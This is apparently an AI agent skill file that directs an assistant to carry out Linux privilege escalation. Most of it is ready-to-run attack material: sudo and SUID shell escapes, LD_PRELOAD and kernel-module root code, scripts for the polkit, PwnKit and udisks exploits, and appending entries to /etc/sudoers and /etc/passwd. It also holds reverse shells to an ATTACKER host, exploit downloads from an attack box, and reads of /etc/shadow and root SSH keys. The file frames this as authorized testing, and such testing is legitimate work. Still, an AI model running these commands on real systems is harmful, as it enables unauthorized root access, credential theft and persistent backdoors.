| name | linux-sudo-suid-capabilities |
| description | Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation.
|
| keywords | ["exploit sudo","abuse suid","gtfobins","ld_preload","capability escalation","baron samedit","sudo exploit","sudo -l shows NOPASSWD","found suid binary","getcap shows cap_setuid","linux capabilities privesc","polkit privesc","CVE-2021-3560","CVE-2021-4034","pwnkit","polkit dbus bypass","pam_environment","user_readenv","polkit allow_active","udisksctl","udisks2 privesc","logind active session","loop-setup nosuid"] |
| tools | ["GTFOBins reference","gcc","python3","getcap","strace","ltrace","dbus-send"] |
| opsec | low |
Linux Sudo, SUID, and Capabilities Exploitation
You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries,
and Linux capabilities for privilege escalation. All testing is under explicit written
authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[linux-sudo-suid-capabilities] Activated → <target> to the screen on activation.
- Evidence → save significant output to
engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access on Linux target
- At least one of: sudo permissions, SUID binary, binary with capabilities
- Knowledge of target OS version (for CVE matching)
Step 1: Assess Sudo Configuration
If not already provided by linux-discovery, enumerate:
sudo -l 2>/dev/null
sudo -V 2>/dev/null | head -1
cat /etc/doas.conf 2>/dev/null
Classify findings and proceed to the relevant subsection below.
Step 2: Sudo NOPASSWD Exploitation
GTFOBins Binaries
If sudo -l shows (root) NOPASSWD: /path/to/binary, check GTFOBins for the binary.
Common sudo escapes (highest priority):
sudo vim -c ':!bash'
sudo vi -c ':!bash'
sudo nano
sudo less /etc/hosts
sudo more /etc/hosts
sudo man man
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash"'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo php -r 'system("/bin/bash");'
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
sudo find /tmp -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo sed -n '1e exec bash 1>&0' /etc/hosts
sudo ed
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /tmp/x -T -TT 'bash #'
sudo ftp
sudo nmap --interactive
sudo mysql -e
socat stdin :/bin/bash
/bin/bash
strace -o /dev/null /bin/bash
ltrace -o /dev/null /bin/bash
gdb -nx -ex -ex quit
taskset 1 /bin/bash
/etc/shadow
/etc/passwd <<<
/etc/shadow /tmp/shadow_copy
=/etc/shadow of=/tmp/shadow_copy
Sudo with Password (NOPASSWD not set)
If user has sudo access but needs a password, check for:
- Known password from engagement state
- Password reuse from other services
- Sudo token reuse (see sudo_inject below)
Sudo with Specific Arguments
If sudo allows specific arguments (e.g., sudo /usr/bin/vim /etc/config):
- Editor escape still works:
sudo vim /etc/config → :!bash
- For restricted commands, check if argument injection is possible
Step 3: Sudo Environment Variable Abuse
LD_PRELOAD Injection
Prerequisite: sudo -l shows env_keep += LD_PRELOAD or SETENV: tag.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}
gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so <any_allowed_binary>
LD_LIBRARY_PATH Injection
Prerequisite: sudo -l shows env_keep += LD_LIBRARY_PATH.
ldd /path/to/allowed_binary
gcc -fPIC -shared -o /tmp/libfoo.so preload.c -nostartfiles
sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary
PYTHONPATH / PERL5LIB Injection
Prerequisite: sudo -l shows SETENV: and binary calls Python/Perl.
mkdir /tmp/pylib
cat > /tmp/pylib/os.py << 'EOF'
import subprocess
subprocess.call(["/bin/bash", "-p"])
EOF
sudo PYTHONPATH=/tmp/pylib /usr/bin/python_script.py
BASH_ENV Injection
Prerequisite: env_keep += BASH_ENV and command runs via bash.
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/evil.sh
sudo BASH_ENV=/tmp/evil.sh /path/to/allowed_command
/tmp/rootbash -p
Step 4: Sudo CVE Exploitation
CVE-2021-3156 (Baron Samedit) — Heap Overflow
Affected: sudo 1.8.2 through 1.9.5p1 (patched in 1.9.5p2).
MANDATORY — Verify before exploiting. Distro backports frequently patch
sudo without changing the version string. Do NOT skip this step even if the
version appears vulnerable.
sudo -V | grep "Sudo version"
sudoedit -s '\' $(python3 -c 'print("A"*65536)') 2>&1
If verification confirms vulnerability, proceed with exploitation. Public
exploits exist per distribution — match the target OS and use the correct
variant.
Exploit transfer — attackbox-first workflow: Targets often lack internet
access (CTF, air-gapped labs). Never git clone on target. Instead:
- Download/compile exploit on attackbox for target architecture
- Transfer via SSH (SCP, SFTP, paramiko) or base64 encode/decode
- Alternatively, write exploit source as a heredoc and compile on target
CVE-2019-14287 — User ID Bypass
Prerequisite: sudo -l shows (ALL, !root) /bin/bash or similar restriction
excluding root.
sudo -u#-1 /bin/bash
sudo -u#4294967295 /bin/bash
Sudo Token Reuse (sudo_inject)
Prerequisite: ptrace_scope = 0, user has valid sudo session token.
cat /proc/sys/kernel/yama/ptrace_scope
ls -la /run/sudo/ts/$(whoami) 2>/dev/null || ls -la /var/run/sudo/ts/$(whoami) 2>/dev/null
CVE-2021-3560 — Polkit D-Bus Authentication Bypass
Affected: polkit < 0.117 (common on CentOS 8, RHEL 8, Ubuntu 20.04).
Creates a privileged user account by exploiting a race condition in polkitd's
D-Bus message handling. When a D-Bus request is killed mid-flight (after polkitd
starts processing but before it replies), polkitd treats the absent reply as
"authorized."
Prerequisites:
rpm -q polkit 2>/dev/null || dpkg -l policykit-1 2>/dev/null
rpm -q accountsservice 2>/dev/null || dpkg -l accountsservice 2>/dev/null
which dbus-send 2>/dev/null
ps aux | grep polkit
Phase 1 — Create privileged user via D-Bus race condition:
NEW_USER="youruser"
NEW_FULLNAME="Your Name"
NEW_PASS='YourPassword123!'
HASH=$(openssl passwd -6 "$NEW_PASS" 2>/dev/null)
for i in $(seq 1 100); do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser \
string:"$NEW_USER" string:"$NEW_FULLNAME" int32:1 &
PID=$!
sleep 0.008s
kill $PID 2>/dev/null
wait $PID 2>/dev/null
if id "$NEW_USER" &>/dev/null; then
echo "[+] User created on attempt $i"
break
fi
done
id "$NEW_USER"
Phase 2 — Set password via D-Bus race condition:
USER_PATH=$(dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts \
org.freedesktop.Accounts.FindUserByName \
string:"$NEW_USER" 2>/dev/null | grep "object path" | cut -d'"' -f2)
echo "[*] User D-Bus path: $USER_PATH"
for i in $(seq 1 100); do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply "$USER_PATH" \
org.freedesktop.Accounts.User.SetPassword \
string:"$HASH" string:"" &
PID=$!
sleep 0.008s
kill $PID 2>/dev/null
wait $PID 2>/dev/null
done
Phase 3 — Verify and escalate:
su - "$NEW_USER" -c "echo '$NEW_PASS' | sudo -S id"
su - "$NEW_USER"
Timing calibration: The sleep value (0.008s) is timing-dependent. If the
exploit fails after 100 attempts:
- Try 0.005s (faster systems, VMs with low latency)
- Try 0.012s (slower systems, remote SSH)
- Try 0.003s (very fast local systems)
- Run multiple rounds with different timings
The race typically succeeds within 20-50 attempts on most systems. If user
creation works but password setting fails (or vice versa), adjust timing for
each phase independently.
Remote execution via SSH (paramiko/sshpass): When automating over SSH,
write the exploit as a bash script, transfer it via SFTP or heredoc, then
execute. The race condition timing works the same over SSH — the sleep and
kill happen on the target, not the attackbox.
Troubleshooting:
Error org.freedesktop.Accounts.Error.PermissionDenied on every attempt →
polkitd may be patched or not running. Check systemctl status polkit.
- User created but not in wheel/sudo group → the
int32:1 flag sets
administrator. Verify with id username. If not admin, the race lost on
the group assignment — delete user and retry.
- Password not set (su fails) → the SetPassword race is harder to win. Try
more attempts (200+) or different timing. Verify the hash is correct:
grep username /etc/shadow.
dbus-send not found → install dbus package or check /usr/bin/gdbus
as alternative.
CVE-2021-4034 (PwnKit) — pkexec Argument Handling
Affected: polkit pkexec < 0.120 (present on most Linux distros before Jan 2022).
pkexec mishandles argc=0 invocations, allowing arbitrary code execution as root
through GCONV_PATH environment variable manipulation. Requires pkexec to have the
SUID bit set (default on virtually all installations).
Verification:
ls -la /usr/bin/pkexec
dpkg -l policykit-1 2>/dev/null || rpm -q polkit 2>/dev/null
Exploitation:
PwnKit requires staging files in a directory where the SUID process can
execute shared libraries. /tmp is often mounted noexec on hardened systems.
for d in /dev/shm /var/tmp /run/lock "$HOME" /opt; do
mount | grep -q "$(df "$d" 2>/dev/null | tail -1 | awk '{print $1}').*noexec" && continue
[ -w "$d" ] && echo "[+] $d is writable and exec-capable" && break
done
cd /dev/shm
mkdir -p pwnkit_work && cd pwnkit_work
Exploit transfer — attackbox-first workflow:
Public PwnKit exploits:
git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
cd /tmp/pwnkit && make
python3 -m http.server 8080 &
wget http://ATTACKBOX:8080/pwnkit -O /dev/shm/pwnkit_work/pwnkit
chmod +x /dev/shm/pwnkit_work/pwnkit
cd /dev/shm/pwnkit_work
./pwnkit
id
If /tmp is noexec: This is the most common PwnKit failure. The GCONV_PATH
trick requires the exploit's shared library to be dlopen'd by pkexec (a SUID
process). SUID processes ignore LD_PRELOAD, so the .so MUST be on an
exec-capable filesystem. Use /dev/shm, /var/tmp, or a home directory instead.
Never attempt LD_PRELOAD workarounds — they do not work with SUID binaries and
risk destabilizing the target.
If no exec-capable writable directory exists: PwnKit is blocked. Return to
orchestrator with assessment: blocked — no exec-capable staging directory for GCONV_PATH .so. The orchestrator may route to linux-kernel-exploits for
DirtyCow/DirtyPipe or other vectors that don't require shared library loading.
Step 4b: PAM Environment Injection + Polkit Active Session Bypass
When linux-discovery reports user_readenv=1 in PAM config and polkit
allow_active=yes on privileged actions, this chain escalates an SSH session to
perform operations that normally require physical console presence.
How It Works
pam_env.so with user_readenv=1 reads ~/.pam_environment during the auth
stack — before pam_systemd.so runs in the session stack
- Injecting
XDG_SEAT and XDG_VTNR tricks pam_systemd into registering the
SSH session as a physical console session (Active=yes)
- Polkit policies with
allow_active=yes now grant access without authentication
udisksctl loop-setup + Filesystem.Resize/Check triggers a temporary mount
via libblockdev at /tmp/blockdev.XXXXXX without nosuid flags
- A SUID root binary in the mounted filesystem executes with
euid=0
Prerequisites
- SSH access as any user
pam_env.so configured with user_readenv=1 (default on SUSE/openSUSE)
udisks2 + libblockdev installed (default on most desktop-oriented installs)
- Polkit
allow_active=yes on udisks2 loop-setup and filesystem operations
xfsprogs on attackbox (for building the XFS image)
Step 1: Verify PAM Configuration
grep -r "user_readenv" /etc/pam.d/ 2>/dev/null
If user_readenv=1 is NOT present, this technique does not apply.
Step 2: Inject Session Properties
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
Disconnect the SSH session (exit), then reconnect. The new session will be
registered as Active.
Step 3: Verify Active Session
loginctl show-session "$XDG_SESSION_ID" | grep -E "Active|State|Seat"
If Active=no, check that ~/.pam_environment was written correctly and that
you fully disconnected and reconnected (not just opened a new channel on the
same SSH connection).
Step 4: Build Malicious Filesystem Image (on attackbox)
Build an XFS image containing a SUID root bash binary. This requires root on the
attackbox.
scp user@TARGET:/bin/bash /tmp/target-bash
dd if=/dev/zero of=./suid.image bs=1M count=300
mkfs.xfs -f ./suid.image
mkdir -p /tmp/suid-mount
mount -t xfs ./suid.image /tmp/suid-mount
cp /tmp/target-bash /tmp/suid-mount/bash
chown root:root /tmp/suid-mount/bash
chmod 04555 /tmp/suid-mount/bash
umount /tmp/suid-mount
scp ./suid.image user@TARGET:~/suid.image
Step 5: Exploit UDisks2 Nosuid Mount Race
On target (with Active=yes session):
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null || true
udisksctl loop-setup --file ~/suid.image --no-user-interaction
(while true; do
for d in /tmp/blockdev*/; do
[ -x "${d}bash" ] && exec "${d}bash" -p -c 'echo "[+] GOT ROOT"; id; exec bash -p'
done
sleep 0.01
done) &
CATCHER_PID=$!
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 'a{sv}'
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Check 'a{sv}'
sleep 2
ls -la /tmp/blockdev*/bash 2>/dev/null
/tmp/blockdev*/bash -p
The -p flag is critical — without it, bash drops the elevated euid.
Troubleshooting
- "Not authorized" from udisksctl:
Active=yes didn't take effect. Verify
with loginctl show-session. Ensure you fully disconnected and reconnected SSH.
- Race doesn't land: The mount window is milliseconds. Retry 3-5 times. Kill
the catcher (
kill $CATCHER_PID), delete the loop device (udisksctl loop-delete --block-device /dev/loop0 --no-user-interaction), and repeat from
loop-setup.
- Loop device is loop1/loop2: Adjust the gdbus object path to match (e.g.,
/org/freedesktop/UDisks2/block_devices/loop1).
- No /tmp/blockdev appears*: libblockdev may use a different temp path. Check
/proc/mounts while triggering Resize/Check. A compiled C catcher monitoring
/proc/mounts in a tight loop is more reliable than the bash approach.
- udisksctl not found: udisks2 not installed. This technique does not apply.
Cleanup
rm ~/.pam_environment
kill $CATCHER_PID 2>/dev/null
udisksctl loop-delete --block-device /dev/loop0 --no-user-interaction 2>/dev/null
rm ~/suid.image
Step 5: SUID Binary Exploitation
Enumeration
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
GTFOBins SUID Exploitation
Same escapes as sudo but binary runs as owner (usually root). Key difference:
bash drops privileges unless -p flag is used.
/usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
/usr/bin/find . -exec /bin/bash -p \;
/usr/bin/vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'
/usr/bin/bash -p
/usr/bin/cp /tmp/modified_passwd /etc/passwd
Custom SUID Binary Analysis
For non-standard SUID binaries not in GTFOBins:
strings /path/to/suid_binary | grep -iE "system|exec|popen|/bin|/tmp"
strace /path/to/suid_binary 2>&1 | grep -E "exec|open|access"
ltrace /path/to/suid_binary 2>&1 | grep -E "system|exec|popen"
Exploitation patterns:
- Calls
system() with relative path → PATH hijack:
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary
- Loads shared object from writable path → .so injection:
ldd /path/to/suid_binary | grep "not found"
readelf -d /path/to/suid_binary | grep -E "RPATH|RUNPATH"
#include <stdlib.h>
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
gcc -fPIC -shared -o /path/to/missing_lib.so exploit.c
/path/to/suid_binary
- Reads/writes files as root → read /etc/shadow or write /etc/passwd
SGID Exploitation
python3 -c 'import os; os.setgid(42); os.system("/bin/bash")'
Step 6: Linux Capabilities Exploitation
CAP_SETUID — Direct Root
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"'
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
php -r 'posix_setuid(0); system("/bin/bash");'
CAP_SETGID — Group Escalation
python3 -c 'import os; os.setgid(42); os.system("cat /etc/shadow")'
python3 -c 'import os; os.setgid(0); os.system("/bin/bash")'
CAP_DAC_OVERRIDE — Bypass Write Permissions
Binary can write to any file regardless of permissions.
python3 -c '
f = open("/etc/sudoers", "a")
f.write("\nUSERNAME ALL=(ALL) NOPASSWD:ALL\n")
f.close()
'
python3 -c '
import crypt
password = crypt.crypt("password123", "$6$salt")
line = f"root2:{password}:0:0:root:/root:/bin/bash\n"
with open("/etc/passwd", "a") as f:
f.write(line)
'
CAP_DAC_READ_SEARCH — Read Any File
python3 -c 'print(open("/etc/shadow").read())'
python3 -c 'print(open("/root/.ssh/id_rsa").read())'
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
Container escape (shocker exploit): Binary with cap_dac_read_search can use
open_by_handle_at() to access host filesystem from within a container. Use the
shocker exploit C code.
CAP_SYS_ADMIN — Mount and Namespace Abuse
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
python3 -c '
from ctypes import CDLL
libc = CDLL("libc.so.6")
libc.mount.argtypes = [c_char_p, c_char_p, c_char_p, c_ulong, c_char_p]
libc.mount(b"/tmp/fake_passwd", b"/etc/passwd", b"none", 4096, b"rw") # MS_BIND=4096
'
CAP_SYS_PTRACE — Process Injection
gdb -p <root_pid>
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")
(gdb) detach
(gdb) quit
import ctypes, os, struct, signal
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_CONT = 7
libc = ctypes.CDLL("libc.so.6")
pid = <target_root_pid>
libc.ptrace(PTRACE_ATTACH, pid, None, None)
os.waitpid(pid, 0)
libc.ptrace(PTRACE_DETACH, pid, None, None)
CAP_SYS_MODULE — Kernel Module Loading
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
char *argv[] = {"/bin/bash", "-c",
"bash -i >& /dev/tcp/ATTACKER/PORT 0>&1", NULL};
static char *envp[] = {"HOME=/root", "PATH=/usr/bin:/bin", NULL};
static int __init shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit shell_exit(void) {}
module_init(shell_init);
module_exit(shell_exit);
obj-m += reverse_shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
make
insmod reverse_shell.ko
CAP_CHOWN / CAP_FOWNER — Ownership and Permission Changes
python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
cat /etc/shadow
python3 -c 'import os; os.chmod("/etc/shadow", 0o666)'
cat /etc/shadow
CAP_SETFCAP — Capability Chaining
Binary can set capabilities on other binaries. Chain to cap_setuid:
python3 -c '
import ctypes
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p, ctypes.c_void_p]
cap = libcap.cap_from_text(b"cap_setuid+ep")
libcap.cap_set_file(b"/usr/bin/python3", cap)
'
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
CAP_NET_RAW — Packet Sniffing
Not directly exploitable for privilege escalation but enables credential sniffing:
tcpdump -i any -A -s0 'port 80 or port 21 or port 25' 2>/dev/null | grep -iE "user|pass|login"
Step 7: Escalate or Pivot
Troubleshooting
SUID binary drops privileges (bash without -p)
Bash resets EUID to RUID when they differ. Always use bash -p or call
setuid(0) before exec. For system() calls: the child shell also drops
privileges — use execve() instead or system("/bin/bash -p").
LD_PRELOAD doesn't work with sudo
Check: (1) env_keep includes LD_PRELOAD in sudo config, (2) binary is not
statically linked (file /path/to/binary), (3) binary is not running in secure
mode (SUID binaries ignore LD_PRELOAD by default — only works via sudo).
getcap returns nothing
Some systems strip capabilities. Check if getcap is available and has read
access to binary directories. Try cat /proc/<pid>/status | grep Cap for
running processes.
Kernel rejects module loading
CAP_SYS_MODULE may be restricted by Secure Boot or module signing. Check
cat /proc/sys/kernel/modules_disabled — if 1, module loading is disabled
system-wide. No bypass without kernel exploit.
SUID binary is statically linked
Cannot use shared object injection or LD_PRELOAD. Focus on argument injection,
environment variable abuse, or functionality-based exploitation (GTFOBins patterns).
PwnKit fails with GCONV errors
The staging directory is likely mounted noexec. Move all PwnKit files to an
exec-capable directory (/dev/shm, /var/tmp, home directory). Check with:
mount | grep "$(df /path 2>/dev/null | tail -1 | awk '{print $1}')" — if
the output includes "noexec", that directory won't work. If no exec-capable
directory is writable, PwnKit is blocked — return to orchestrator.